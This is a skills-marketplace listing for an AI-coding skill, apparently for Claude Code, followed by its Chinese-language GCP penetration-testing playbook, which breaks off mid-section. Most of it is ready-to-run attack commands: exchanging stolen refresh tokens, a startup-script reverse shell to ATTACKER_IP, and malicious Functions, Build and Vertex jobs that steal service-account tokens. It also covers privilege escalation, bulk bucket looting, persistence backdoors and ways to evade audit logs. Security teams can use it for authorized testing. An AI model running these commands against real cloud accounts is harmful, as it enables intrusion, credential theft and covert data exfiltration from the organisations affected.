
Gcp Pentesting
- 24 installs
- 1.6k repo stars
- Updated July 19, 2026
- wgpsec/aboutsecurity
Helps with testing & qa tasks during AI-assisted development.
About
gcp-pentesting is a Claude Code skill for testing & qa. It helps solo builders move faster with AI-assisted coding.
- gcp-pentesting
- Testing & QA
- AI-coding skill
Gcp Pentesting by the numbers
- 24 all-time installs (skills.sh)
- +2 installs in the week ending Jul 27, 2026 (Skillselion tracking)
- Ranked #1,397 of 2,153 Testing & QA skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/wgpsec/aboutsecurity --skill gcp-pentestingAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 24 |
|---|---|
| repo stars | ★ 1.6k |
| Last updated | July 19, 2026 |
| Repository | wgpsec/aboutsecurity ↗ |
What it does
Helps with testing & qa tasks during AI-assisted development.
Files
GCP 云环境渗透测试方法论
GCP 是全球三大公有云之一,承载了大量企业核心业务。其独特的资源层级模型(Organization → Folder → Project → Resource)、Service Account 机制和 IAM 权限继承模型构成了与 AWS/Azure 截然不同的攻击面。本技能以攻击阶段(Phase)为主线,组织从"零凭据"到"完全控制"的完整渗透路径。
GCP 与 AWS 的核心区别
| 概念 | GCP | AWS |
|---|---|---|
| 资源层级 | Organization → Folder → Project → Resource | Account → OU → Resource |
| 身份主体 | Google Account、Service Account、Group | IAM User、IAM Role |
| 凭据类型 | SA Key (JSON)、OAuth Token、Metadata Token | AK/SK、STS Token、Instance Profile |
| 权限绑定 | 在资源上绑定(get-iam-policy) | 在主体上附加策略(Policy) |
| PassRole 等价 | iam.serviceAccounts.actAs | iam:PassRole |
| 元数据端点 | 需要 Metadata-Flavor: Google 头 | IMDSv1 无需头 / IMDSv2 需 Token |
| 访问范围 | OAuth Scopes 限制 Token 能力 | 无等价机制 |
深入参考
识别到具体攻击阶段后,加载对应参考文档获取完整技术细节:
- 37 服务提权路径(按集群分组) → 读 references/iam-privesc.md
- 后渗透与持久化技术清单(20+ 服务) → 读 references/post-exploit-persistence.md
Phase 0: 攻击面判断
拿到一个 GCP 相关目标后,首先判断当前手持的资产类型,决定进入哪个攻击阶段:
当前持有什么?
├── 无任何凭据
│ ├── 有目标域名/IP → Phase 1(未授权枚举)
│ ├── 有 SSRF 漏洞 → 直接打 Metadata 获取 SA Token → Phase 2
│ └── 仅知道组织名称 → OSINT + Phase 1
│
├── 有 Service Account Key(JSON 格式,含 private_key 字段)
│ └── → Phase 2(凭据验证与权限评估)
│
├── 有 OAuth Access Token(ya29. 开头)
│ └── → Phase 2(注意:有效期通常 1 小时,需快速行动)
│
├── 有 Refresh Token(从 gcloud 本地配置窃取)
│ └── → 生成新 Access Token → Phase 2(可长期维持)
│
├── 在 Compute Engine / Cloud Functions / Cloud Run 实例内部
│ └── → 通过 Metadata 获取绑定 SA 的 Token → Phase 2
│
└── 有 gcloud CLI 配置目录(~/.config/gcloud/)
└── → 提取 access_tokens.db / credentials.db → Phase 2GCP 凭据类型速查
| 凭据类型 | 识别特征 | 有效期 | 获取方式 |
|---|---|---|---|
| SA Key (JSON) | JSON 文件含 type: service_account + private_key | 永久(直到删除) | 控制台创建 / 代码泄露 |
| OAuth Access Token | 以 ya29. 开头 | 1 小时 | gcloud / Metadata / API |
| Refresh Token | 存储在 credentials.db 中 | 通常长期有效,但会受撤销、未使用、用户安全事件和 Google Cloud session control 影响 | gcloud 本地文件 |
| Metadata Token | 从 169.254.169.254 获取 | 自动轮换(~1 小时) | Compute/Functions/Run 内部 |
| OIDC Identity Token | JWT 格式 | 1 小时 | SA 签发 / Metadata |
| HMAC Key | AccessId + Secret(用于 GCS 互操作) | 永久 | gsutil hmac create |
OAuth Scopes 与 IAM 的关系
GCP 的 Metadata Token 受 OAuth Scopes 限制。即使 SA 在 IAM 中拥有 Owner 权限,如果 VM 配置的 Scope 仅为 cloud-platform.read-only,Token 也只能读取。绕过方法:
- 在被入侵主机上搜索 SA Key 文件(不受 Scope 限制)
- 跳转到 Scope 限制更宽松的其他 VM
- 利用
iam.serviceAccountKeys.create权限生成新 Key
Phase 1: 未授权枚举
在没有任何 GCP 凭据的情况下,仍可对目标进行大量信息收集。
高价值枚举目标
| 目标 | 攻击方式 | 价值 |
|---|---|---|
| GCS Bucket | 域名枚举 + 暴力猜解 storage.googleapis.com | 数据泄露、获取凭据文件 |
| Cloud Functions URL | https://REGION-PROJECT.cloudfunctions.net/FUNC | Web 漏洞利用、未鉴权调用 |
| Cloud Run 服务 | https://SERVICE-xxx.a.run.app | Web 漏洞利用 |
| App Engine | https://PROJECT.appspot.com | Web 漏洞利用、版本枚举 |
| Firebase RTDB | https://PROJECT.firebaseio.com/.json | 直接读取数据库 |
| Compute Engine 公开端口 | Nmap + 服务指纹 | SSRF → Metadata → SA Token |
| BigQuery 公开数据集 | bq ls --project PROJECT | 敏感数据泄露 |
| Source Repositories | gcloud source repos list | 代码泄露 |
| API Keys | 前端代码 / 请求抓包 | 未限制的 API Key 滥用 |
GCS Bucket 快速枚举
# 1. 检查 Bucket 是否公开可列出
curl "https://storage.googleapis.com/TARGET-BUCKET"
gcloud storage ls gs://TARGET-BUCKET 2>/dev/null # 如需匿名测试,先在隔离配置中禁用凭据
# 2. 暴力猜解 Bucket 名(常见命名规则)
for name in TARGET TARGET-backup TARGET-dev TARGET-staging TARGET-prod; do
curl -s -o /dev/null -w "%{http_code} $name\n" \
"https://storage.googleapis.com/$name"
done
# 3. 如果可读,下载敏感文件
gsutil -m cp -r gs://TARGET-BUCKET/ ./loot/ 2>/dev/null
# 自动化工具
# GCPBucketBrute - 枚举 GCS Bucket 并测试权限
python3 gcpbucketbrute.py -k TARGET_KEYWORD -w wordlist.txtFirebase 数据库快速检测
# 尝试未授权读取 Realtime Database
curl "https://TARGET-PROJECT.firebaseio.com/.json"
# 尝试写入测试
curl -X PUT "https://TARGET-PROJECT.firebaseio.com/test.json" -d '"pwned"'公开资源综合枚举工具
# cloud_enum - 枚举 GCS Bucket、Firebase、App Engine、Cloud Functions
python3 cloud_enum.py -k TARGET_KEYWORD
# CloudBrute - 多云公开资源暴力枚举
CloudBrute -d TARGET -k TARGET -w wordlist.txtPhase 2: 凭据验证与权限评估
获取凭据后,第一步是验证有效性并评估权限范围。
2.1 凭据配置与身份验证
# 方式一:SA Key 文件认证
gcloud auth activate-service-account --key-file=sa_key.json
# 方式二:直接使用 OAuth Token(无需文件)
export CLOUDSDK_AUTH_ACCESS_TOKEN="ya29.xxxx"
gcloud projects list
# 方式三:使用窃取的 Refresh Token 生成新 Access Token
curl -s --data client_id=32555940559.apps.googleusercontent.com \
--data client_secret=ZmssLNjJy2998hD4CTg2ejr2 \
--data grant_type=refresh_token \
--data refresh_token=STOLEN_REFRESH_TOKEN \
--data scope="https://www.googleapis.com/auth/cloud-platform" \
https://www.googleapis.com/oauth2/v4/token
# 身份确认
gcloud auth list
curl -H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://www.googleapis.com/oauth2/v1/tokeninfo"2.2 组织与项目枚举
# 组织信息
gcloud organizations list
gcloud resource-manager folders list --organization ORG_NUMBER
# 项目列表
gcloud projects list
# 当前项目详情
gcloud config get-value project
gcloud projects describe PROJECT_ID2.3 权限枚举
# 方法一:列出 SA 的 IAM 绑定(需要 iam 读权限)
gcloud projects get-iam-policy PROJECT_ID \
--flatten="bindings[].members" \
--filter="bindings.members:serviceAccount:SA_EMAIL" \
--format="table(bindings.role)"
# 方法二:暴力枚举可用权限(无需 iam 读权限)
# bf_my_gcp_permissions - 暴力测试当前凭据拥有的权限
python3 bf_my_gcp_permissions.py -p PROJECT_ID
# 方法三:列出拥有 Key 的 SA(寻找更多攻击面)
for sa in $(gcloud iam service-accounts list --format="value(email)"); do
echo "=== $sa ==="
gcloud iam service-accounts keys list --iam-account "$sa"
done2.4 权限评估决策树
当前身份权限如何?
├── 有 roles/owner 或 roles/editor → 已是高权限,直接 Phase 4
├── 有 iam 读权限但无写权限 → 枚举所有 SA/用户/角色,寻找提权路径 → Phase 3
├── 有特定服务权限(如 storage.*、compute.*、cloudfunctions.*)
│ ├── 检查是否有 iam.serviceAccounts.actAs → 可通过服务提权 → Phase 3
│ ├── 有 compute.instances.create + actAs → Compute 提权 → Phase 3
│ └── 可直接利用当前权限进行后渗透 → Phase 4
├── Token 受 OAuth Scopes 限制
│ └── 尝试绕过 Scopes(搜索 SA Key、跳转其他 VM)→ Phase 2
└── 权限极低 → 暴力枚举更多权限,或回到 Phase 1 寻找更多入口参考 gcp-exploit 技能,获取 GCP IAM 提权和 GKE 攻击深度指南
参考 cloud-iam-audit 技能,进行跨云 IAM 审计
2.5 自动化审计工具
| 工具 | 用途 | 命令 |
|---|---|---|
| ScoutSuite | 多云安全审计报告 | scout gcp --user-account |
| gcp_scanner | GCP 资源扫描与权限评估 | python3 __main__.py -o /tmp/out/ -g ~/.config/gcloud |
| gcp_enum | GCP 环境枚举(Bash 脚本) | ./gcp_enum.sh |
| bf_my_gcp_permissions | 暴力枚举当前凭据权限 | python3 bf_my_gcp_permissions.py -p PROJECT |
| gcpwn | GCP 渗透测试框架 | python3 main.py |
| Hayat | GCP 攻击路径发现 | hayat scan --project PROJECT |
Phase 3: 提权
GCP 提权的核心思路:利用当前权限去获取更高权限。GCP 有数百个权限,其中很多组合可以形成提权路径。两大类提权模式:
1. 主体提权:冒充另一个主体(如通过 getAccessToken 冒充 SA) 2. 资源提权:在特定资源上获取更多权限(如通过 setIamPolicy 给自己加权限)
关键权限 iam.serviceAccounts.actAs 是 GCP 版的 iam:PassRole,允许将 SA 附加到资源上。
提权路径决策树
当前拥有哪些权限?
├── IAM 直接操作
│ ├── iam.roles.update → 修改已分配角色添加权限
│ ├── iam.serviceAccounts.setIamPolicy → 给自己授予 SA 的 TokenCreator
│ ├── iam.serviceAccountKeys.create → 为目标 SA 创建新 Key
│ ├── iam.serviceAccounts.getAccessToken → 直接获取 SA Token
│ ├── iam.serviceAccounts.signBlob / signJwt → 签名冒充 SA
│ └── iam.serviceAccounts.implicitDelegation → 通过委派链冒充
│
├── 服务 + actAs 组合
│ ├── compute.instances.create + actAs → 创建绑定高权限 SA 的 VM
│ ├── cloudfunctions.functions.create + actAs → 创建恶意 Cloud Function
│ ├── run.services.create + actAs → 部署恶意 Cloud Run
│ ├── cloudbuild.builds.create + actAs → 提交恶意构建任务
│ ├── composer.environments.create + actAs → 创建 Composer 注入 DAG
│ ├── cloudscheduler.jobs.create + actAs → 定时调用 googleapis.com API
│ └── aiplatform.customJobs.create + actAs → Vertex AI 任务窃取 Token
│
├── 资源 setIamPolicy
│ ├── compute.instances.setIamPolicy → 授予自己 compute.admin
│ ├── cloudfunctions.functions.setIamPolicy → 授予 invoker 权限
│ ├── storage.buckets.setIamPolicy → 获取 Bucket 读写权限
│ ├── secretmanager.secrets.setIamPolicy → 获取 Secret 访问权
│ └── bigquery.datasets.setIamPolicy → 获取数据集访问权
│
└── 间接提权
├── storage.objects.get → 读取 Composer DAG / Cloud Functions 代码 Bucket
├── container.clusters.get + K8s RBAC → GKE 集群内提权
├── secretmanager.versions.access → 读取存储的凭据
└── compute.projects.setCommonInstanceMetadata → 注入 SSH Key 到所有 VM→ 读 references/iam-privesc.md
Phase 4: 后渗透与持久化
获得较高权限后,进入后渗透阶段。目标是数据获取、横向移动和建立持久化。
4.1 高价值数据源
优先搜索哪些数据源?
├── Secret Manager → 凭据、API Key、数据库密码
├── GCS Bucket → 文档、备份、日志、配置文件
├── BigQuery → 业务数据、分析数据
├── Cloud SQL → 业务数据库
├── Firestore / Spanner → NoSQL / 分布式数据库
├── Compute Engine 磁盘快照 → 挂载后读取完整文件系统
├── Cloud Logging → 应用日志中的敏感信息
├── Artifact Registry → 容器镜像中的源码和凭据
└── Source Repositories → 代码仓库4.2 横向移动
跨项目移动:
- 利用 Organization 级别 IAM 绑定(一个 SA 可能在多个 Project 有权限)
- 利用 Shared VPC(跨项目网络访问)
- 利用 Service Account 的跨项目 impersonation
跨服务移动:
- Compute Engine → 通过 Metadata 获取 SA Token → 访问其他服务
- GKE Node → 获取 Node SA Token → 跳出 K8s 到 GCP 平面
- Cloud Functions / Cloud Run → 修改代码执行任意操作
- Composer (Airflow) → 注入恶意 DAG
4.3 持久化技术概览
| 服务 | 持久化方法 | 隐蔽性 |
|---|---|---|
| IAM | 创建新 SA Key、添加 IAM Binding、修改角色权限 | 低(Admin Activity 日志) |
| Compute Engine | SSH Key 注入、startup-script 后门、磁盘快照 | 中 |
| Cloud Functions | 修改函数代码、添加 allUsers invoker 权限 | 中 |
| Cloud Run | 部署后门服务、修改现有服务代码 | 中 |
| Cloud Scheduler | 创建定时任务调用 googleapis.com API | 高 |
| Pub/Sub | 添加外部订阅者持续接收消息 | 高 |
| Cloud Build | 修改触发器注入恶意构建步骤 | 高 |
| Storage | Bucket IAM 后门、HMAC Key 创建 | 中 |
| Token 窃取 | Refresh Token 持久化、SA Key 离线保存 | 高 |
| API Keys | 创建不受限制的 API Key | 中 |
| Logging | 修改 Log Sink 将审计日志导出到攻击者控制的目标 | 高 |
→ 读 references/post-exploit-persistence.md
Phase 5: Workspace 穿越
GCP 与 Google Workspace 之间存在深度集成关系。拥有特定 GCP 权限的攻击者可能穿越到 Workspace 层面,反之亦然。
关键穿越路径
GCP → Workspace
├── Domain-Wide Delegation(DWD)
│ ├── SA 被授予 DWD 权限 → 冒充 Workspace 任意用户
│ └── 访问 Gmail、Drive、Calendar、Admin SDK 等
├── gcloud OAuth Scope 滥用
│ └── gcloud 支持 drive scope → 窃取 Drive 文件
└── Workspace 用户密码重置
└── 拥有 Admin SDK 权限 → 重置用户密码
Workspace → GCP
├── Workspace 管理员 → 自动拥有 Organization Admin 权限
├── Group 成员管理 → 添加到有 GCP 权限的 Group
└── SAML/OIDC Federation → 利用 Identity Provider 信任关系参考 gcp-workspace-pivot 技能,获取 GCP 到 Workspace 穿越完整指南
附录: GCP 速查
常用 gcloud 命令
# 身份与权限
gcloud auth list # 当前认证身份
gcloud auth print-access-token # 打印 Access Token
gcloud projects get-iam-policy PROJECT_ID # 项目 IAM 策略
gcloud iam service-accounts list # 列出所有 SA
gcloud organizations list # 列出组织
# 资源枚举
gcloud compute instances list # 列出 Compute 实例
gcloud storage ls # 列出 GCS Bucket
gcloud functions list # 列出 Cloud Functions
gcloud run services list # 列出 Cloud Run 服务
gcloud sql instances list # 列出 Cloud SQL
gcloud secrets list # 列出 Secret Manager
gcloud container clusters list # 列出 GKE 集群
# Metadata 服务(从实例内部)
curl -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
curl -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/project/project-id"
curl -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true"GCP 服务缩写对照表
| 服务 | 攻击面关键词 |
|---|---|
| IAM | 权限策略、Service Account、角色绑定、提权 |
| Compute Engine | 实例、Metadata、SSH Key、startup-script |
| GCS (Cloud Storage) | Bucket 策略、ACL、公开访问、HMAC Key |
| Cloud Functions | 函数 URL、环境变量、绑定 SA |
| Cloud Run | 服务 URL、容器部署、SA 绑定 |
| GKE | RBAC、Node SA、Pod SA、集群凭据 |
| BigQuery | 数据集权限、数据导出、Row-Level Security |
| Cloud SQL | 公开访问、导出、连接 |
| Secret Manager | 密钥存储、版本访问 |
| KMS | Key Policy、加解密权限 |
| Cloud Build | 构建触发器、SA 令牌 |
| Composer (Airflow) | DAG 注入、Bucket 后门 |
| Pub/Sub | Topic/Subscription 策略 |
| Cloud Scheduler | 定时任务、OAuth/OIDC Token 获取 |
| Vertex AI | Notebook、Custom Job、Model 部署 |
| Artifact Registry | 镜像仓库策略、镜像投毒 |
注意事项
Cloud Audit Logs 审计感知: GCP 的审计日志分为两类:
| 日志类型 | 内容 | 默认启用 | OPSEC 影响 |
|---|---|---|---|
| Admin Activity | 资源创建/修改/删除、IAM 变更 | 始终启用,不可关闭 | 高(所有管理操作可见) |
| Data Access | 数据读取/写入(如 GCS GetObject、BigQuery 查询) | 默认关闭 | 低(但组织可能启用) |
高风险操作(必定触发 Admin Activity 日志):
- IAM 变更(CreateServiceAccount、CreateServiceAccountKey、SetIamPolicy)
- 资源创建(CreateInstance、DeployFunction、CreateCluster)
- 角色变更(iam.roles.update、setIamPolicy)
检测绕过注意事项:
- 数据平面操作(GCS 读取、BigQuery 查询)在默认配置下不记录
- Metadata 服务访问不产生 Cloud Audit Log
- Organization Policy 可能限制 SA Key 创建、外部 IP 分配等操作
- VPC Service Controls 可能阻止数据离开受保护的项目边界
区域差异: GCP 资源是区域/多区域隔离的。枚举时需遍历所有可用区域。全球服务(IAM、Cloud Resource Manager)不受区域限制。
GCP 37 服务提权路径
本文档按服务集群分组整理 GCP 提权路径。每条路径列出所需权限、攻击原理和关键命令。
核心概念:GCP 提权分为两大类——主体提权(冒充更高权限 SA)和资源提权(在资源上获取更多权限)。iam.serviceAccounts.actAs 权限是多数服务提权的前提条件,相当于 AWS 的 iam:PassRole。
一、IAM / Organization 提权
1.1 iam.roles.update
修改已分配给自己的自定义角色,向其中添加额外权限。
gcloud iam roles update ROLE_NAME --project PROJECT_ID \
--add-permissions "iam.serviceAccounts.getAccessToken,iam.serviceAccountKeys.create"1.2 iam.serviceAccounts.getAccessToken
直接请求目标 SA 的 Access Token 进行冒充。
gcloud --impersonate-service-account="TARGET_SA@PROJECT.iam.gserviceaccount.com" \
auth print-access-token1.3 iam.serviceAccountKeys.create
为目标 SA 创建新的用户托管密钥,获得永久访问。
gcloud iam service-accounts keys create /tmp/key.json \
--iam-account TARGET_SA@PROJECT.iam.gserviceaccount.com
gcloud auth activate-service-account --key-file=/tmp/key.json1.4 iam.serviceAccounts.signBlob / signJwt
利用签名能力构造合法的 JWT Token 冒充目标 SA。signBlob 签名任意字节,signJwt 专门签名 JWT 格式。
# signBlob:构造 unsigned JWT → 调用 signBlob → 获取 signed JWT → 交换 Access Token
# signJwt:直接提交 JWT claims → 获取 signed JWT1.5 iam.serviceAccounts.implicitDelegation
通过委派链间接冒充目标 SA。若 SA-A 对 SA-B 有 implicitDelegation,SA-B 对 SA-C 有 getAccessToken,则可通过 SA-A → SA-B → SA-C 完成委派。
curl -X POST \
"https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/TARGET_SA:generateAccessToken" \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-d '{
"delegates": ["projects/-/serviceAccounts/MIDDLE_SA"],
"scope": ["https://www.googleapis.com/auth/cloud-platform"]
}'1.6 iam.serviceAccounts.setIamPolicy
向目标 SA 添加 IAM 绑定,授予自己 roles/iam.serviceAccountTokenCreator 角色。
gcloud iam service-accounts add-iam-policy-binding \
"TARGET_SA@PROJECT.iam.gserviceaccount.com" \
--member="user:ATTACKER@domain.com" \
--role="roles/iam.serviceAccountTokenCreator"1.7 iam.roles.create + iam.serviceAccounts.setIamPolicy
创建包含任意权限的自定义角色,再通过 setIamPolicy 将该角色绑定到目标 SA。
gcloud iam roles create custom_admin --project PROJECT_ID \
--permissions "iam.serviceAccountKeys.create,compute.instances.create"1.8 resourcemanager.projects.setIamPolicy
项目级别的 setIamPolicy,可直接给自己授予 roles/owner。
1.9 orgpolicy.policy.set
修改 Organization Policy,移除安全限制(如允许 SA Key 创建、允许外部 IP)。
二、Compute Engine 提权
2.1 compute.projects.setCommonInstanceMetadata
修改项目级 Metadata,注入 SSH Key 到所有 VM 实例。
# 注入 SSH 公钥到项目 Metadata
gcloud compute project-info add-metadata \
--metadata ssh-keys="attacker:ssh-rsa AAAAB3... attacker@kali"2.2 compute.instances.setMetadata
与上述类似,但作用于单个实例。可注入 SSH Key 或 startup-script。
# 注入 startup-script 反弹 Shell
gcloud compute instances add-metadata TARGET_VM \
--metadata startup-script='#!/bin/bash
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 &'
# 重启实例触发
gcloud compute instances reset TARGET_VM2.3 compute.instances.create + iam.serviceAccounts.actAs
创建绑定高权限 SA 的新 VM,通过 Metadata 窃取 SA Token。
gcloud compute instances create attacker-vm \
--service-account="HIGH_PRIV_SA@PROJECT.iam.gserviceaccount.com" \
--scopes="cloud-platform" \
--zone=us-central1-a2.4 compute.instances.setIamPolicy
修改实例级 IAM 策略,授予自己 roles/compute.admin。
2.5 compute.instances.osLogin / osAdminLogin
若实例启用 OS Login,可直接 SSH 登录(osAdminLogin 获得 root 权限)。
gcloud compute ssh TARGET_INSTANCE2.6 osconfig.patchDeployments.create / osconfig.patchJobs.exec
创建 Patch Job 在目标实例上执行任意代码(无需 actAs 权限)。
gcloud compute os-config patch-jobs execute \
--instance-filter-names="zones/us-central1-a/instances/TARGET_VM" \
--pre-patch-linux-executable="gs://BUCKET/payload.sh#GENERATION" \
--reboot-config=never三、GKE (Container) 提权
3.1 container.clusters.get
获取 GKE 集群凭据,访问 K8s API Server。
gcloud container clusters get-credentials CLUSTER --zone ZONE3.2 container.roles.escalate / container.clusterRoles.escalate
绕过 K8s RBAC 限制,创建/更新拥有更高权限的 Role。
3.3 container.pods.create (及其他工作负载创建权限)
创建挂载 SA Token 的 Pod,窃取 K8s SA 和 GCP Node SA Token。
涵盖权限:deployments.create、daemonSets.create、jobs.create、cronJobs.create、statefulSets.create、replicaSets.create 等。
3.4 container.pods.exec
Exec 进入运行中的 Pod,窃取 Pod SA Token 和 Node GCP SA Token。
3.5 container.secrets.get / list
读取 K8s Secrets,获取存储的 SA Token。
四、Cloud Functions 提权
4.1 Cloud Functions 创建函数 + actAs
创建绑定高权限 SA 的新函数,函数代码从 Metadata 窃取 SA Token。Gen1/Gen2 都需要函数创建/源码更新权限和 iam.serviceAccounts.actAs;Gen2 还依赖 Cloud Build、Artifact Registry、Cloud Run、Eventarc/Storage 等部署链权限,需按部署路径确认。
# 创建恶意函数代码
cat > /tmp/main.py << 'EOF'
import subprocess
def main(request):
result = subprocess.check_output(
"curl -s -H 'Metadata-Flavor: Google' "
"'http://metadata/computeMetadata/v1/instance/service-accounts/default/token'",
shell=True, text=True)
return result
EOF
gcloud functions deploy exfil-func \
--runtime python312 --source /tmp/ --entry-point main \
--service-account "HIGH_PRIV_SA@PROJECT.iam.gserviceaccount.com" \
--trigger-http --allow-unauthenticated4.2 Cloud Functions 更新函数 + actAs
修改已有函数的代码和绑定的 SA。Gen2 更新同样要同时满足函数更新、构建、镜像仓库、Cloud Run 服务更新以及目标运行时 SA 的 actAs 前提。
4.3 cloudfunctions.functions.setIamPolicy
授予自己 create / update 权限,再利用上述路径。
五、Cloud Run 提权
5.1 run.services.create + actAs + run.routes.invoke
部署绑定高权限 SA 的 Cloud Run 服务。
gcloud run deploy exfil-svc \
--image=ubuntu:22.04 \
--command=bash \
--args="-c,python3 -m http.server 80" \
--service-account="HIGH_PRIV_SA@PROJECT.iam.gserviceaccount.com" \
--region=us-central1 --allow-unauthenticated5.2 run.services.update + actAs
更新现有服务的镜像/命令和绑定的 SA。
5.3 run.jobs.create + run.jobs.run + actAs
创建并执行绑定 SA 的 Cloud Run Job。
5.4 run.jobs.runWithOverrides
利用环境变量覆盖实现任意代码执行(PYTHONWARNINGS 注入技巧)。
gcloud beta run jobs execute JOB_NAME --region REGION \
--update-env-vars="PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=/bin/bash -c 'PAYLOAD' #%s"六、Cloud Build 提权
6.1 cloudbuild.builds.create + actAs
提交恶意构建任务,指定高权限 SA。构建环境默认携带 SA Token。
# cloudbuild.yaml
steps:
- name: bash
script: |
#!/usr/bin/env bash
curl -H "Metadata-Flavor: Google" \
"http://metadata/computeMetadata/v1/instance/service-accounts/default/token"
options:
logging: CLOUD_LOGGING_ONLYgcloud builds submit --no-source --config=cloudbuild.yaml \
--service-account="projects/PROJECT/serviceAccounts/SA@PROJECT.iam.gserviceaccount.com"6.2 cloudbuild.repositories.accessReadWriteToken
获取关联代码仓库的读写 Token,可进行代码投毒。
七、Storage (GCS) 提权
7.1 storage.objects.get
读取 Bucket 中的敏感文件。特别关注 Composer DAG Bucket、Cloud Functions 代码 Bucket、GCR 镜像 Bucket。
7.2 storage.buckets.setIamPolicy / storage.objects.setIamPolicy
修改 Bucket/Object 的 IAM 策略,授予自己读写权限。
7.3 storage.hmacKeys.create
创建 HMAC Key 获得对 GCS 的持久访问(类似 AWS AK/SK)。
gsutil hmac create SA_EMAIL
# 返回 AccessId + Secret,永久有效7.4 storage.objects.create + storage.objects.delete(写入攻击)
覆写 Composer DAG / Cloud Functions 代码 / App Engine 部署文件,实现间接代码执行。
八、BigQuery 提权
8.1 bigquery.tables.getData + bigquery.jobs.create
读取 BigQuery 表中的敏感数据。
bq query --nouse_legacy_sql 'SELECT * FROM `PROJECT.DATASET.TABLE` LIMIT 1000'8.2 bigquery.tables.export + bigquery.jobs.create
将数据导出到 GCS Bucket。
bq extract DATASET.TABLE "gs://BUCKET/export*.csv"8.3 bigquery.datasets.setIamPolicy / bigquery.datasets.update
修改数据集权限或 ACL,授予自己访问权。
九、Serverless 提权
9.1 appengine.applications.create + actAs
部署 App Engine 应用绑定高权限 SA。App Engine 部署文件存储在 staging.PROJECT.appspot.com Bucket 中,可通过 Storage 写入攻击。
9.2 Cloud Scheduler + actAs
创建定时任务,使用 OAuth Token 调用任意 googleapis.com API 端点。
gcloud scheduler jobs create http privesc-job \
--schedule='* * * * *' \
--uri='https://iam.googleapis.com/v1/projects/PROJECT/serviceAccounts/SA/keys' \
--http-method=POST \
--oauth-service-account-email "SA@PROJECT.iam.gserviceaccount.com" \
--location us-central19.3 Cloud Tasks
与 Cloud Scheduler 类似,可创建 HTTP 任务以 SA 身份调用 API。
十、AI/ML 提权
10.1 aiplatform.customJobs.create + actAs
创建 Vertex AI 自定义训练任务执行任意代码。
gcloud ai custom-jobs create \
--region=us-central1 \
--display-name=exfil-job \
--worker-pool-spec=machine-type=n1-standard-4,replica-count=1,container-image-uri=python:3.11-slim \
--command=sh \
--args=-c,"curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" \
--service-account="TARGET_SA@PROJECT.iam.gserviceaccount.com"10.2 aiplatform.models.upload + endpoint 部署
上传恶意 pickle 模型,在 endpoint 部署或 batch prediction 时触发代码执行。
10.3 aiplatform.pipelineJobs.create + actAs
创建 ML Pipeline 执行多阶段攻击,通过自定义容器窃取 SA Token。
10.4 Composer (Airflow) DAG 注入
导入恶意 DAG 文件,由 Composer 环境执行。
gcloud composer environments storage dags import \
--environment COMPOSER_ENV --location LOCATION \
--source /tmp/malicious_dag.py十一、Security 提权
11.1 secretmanager.versions.access
读取 Secret Manager 中存储的凭据。
gcloud secrets versions access latest --secret="SECRET_NAME"11.2 secretmanager.secrets.setIamPolicy
修改 Secret 的 IAM 策略,授予自己 secretAccessor 角色。
11.3 cloudkms.cryptoKeyVersions.useToDecrypt
使用 KMS Key 解密数据(可能包含加密存储的凭据)。
gcloud kms decrypt --location=LOCATION --keyring=KEYRING --key=KEY \
--ciphertext-file=encrypted.dat --plaintext-file=decrypted.dat11.4 cloudkms.cryptoKeys.setIamPolicy
授予自己 KMS 解密权限。
十二、Network/Infra 提权
12.1 Cloud SQL
cloudsql.instances.connect:直接连接数据库实例cloudsql.backups.create+cloudsql.instances.export:导出数据库到 GCS
gcloud sql connect INSTANCE --user=root
gcloud sql export sql INSTANCE gs://BUCKET/dump.sql --database=DB12.2 Pub/Sub
pubsub.subscriptions.create:创建订阅窃取消息pubsub.topics.setIamPolicy:修改 Topic 权限
12.3 Dataflow / Dataproc
dataflow.jobs.create+actAs:创建数据处理任务绑定 SAdataproc.clusters.create+actAs:创建数据分析集群绑定 SA
12.4 Firebase
- 公开的 Realtime Database:直接读写数据
firebase.projects.update:修改 Firebase 配置
权限 → 提权路径速查表
| 权限 | 提权方式 | 影响 |
|---|---|---|
iam.serviceAccountKeys.create | 创建 SA Key | 永久冒充目标 SA |
iam.serviceAccounts.getAccessToken | 获取 SA Token | 临时冒充目标 SA |
iam.serviceAccounts.setIamPolicy | 授予 TokenCreator | 间接冒充目标 SA |
iam.roles.update | 修改角色添加权限 | 提升当前角色权限 |
iam.serviceAccounts.signBlob | 签名冒充 SA | 生成 SA 的合法 Token |
compute.instances.create + actAs | 创建 VM 窃取 Token | 冒充绑定的 SA |
compute.instances.setMetadata | SSH Key / 脚本注入 | 获取实例上的 SA Token |
cloudfunctions.functions.create + actAs | 创建恶意函数 | 冒充绑定的 SA |
run.services.create + actAs | 部署恶意服务 | 冒充绑定的 SA |
cloudbuild.builds.create + actAs | 提交恶意构建 | 冒充绑定的 SA |
composer.environments.create + actAs | 创建 Composer 环境 | 冒充绑定的 SA |
cloudscheduler.jobs.create + actAs | 定时 API 调用 | 以 SA 身份调用任意 API |
secretmanager.versions.access | 读取密钥 | 获取存储的凭据 |
storage.buckets.setIamPolicy | 修改 Bucket 权限 | 获取数据访问权 |
container.pods.create | 创建 K8s Pod | 窃取 K8s 和 GCP SA |
*.setIamPolicy(任意资源) | 修改资源 IAM | 获取该资源的完整控制 |
GCP 后渗透与持久化技术清单
本文档整理 GCP 环境中的数据窃取、持久化和检测绕过技术。
一、数据窃取
1.1 GCS Bucket 批量下载
# 列出所有可访问的 Bucket
gcloud storage ls
# 递归下载整个 Bucket
gsutil -m cp -r gs://TARGET_BUCKET/ ./loot/
# 仅下载敏感文件类型
gsutil -m cp -r gs://TARGET_BUCKET/ ./loot/ \
-x ".*" \
-I < <(gsutil ls -r gs://TARGET_BUCKET/ | grep -iE "\.(env|pem|key|json|yaml|yml|conf|cfg|bak|sql|csv|xlsx)$")
# 搜索 Bucket 中的凭据文件
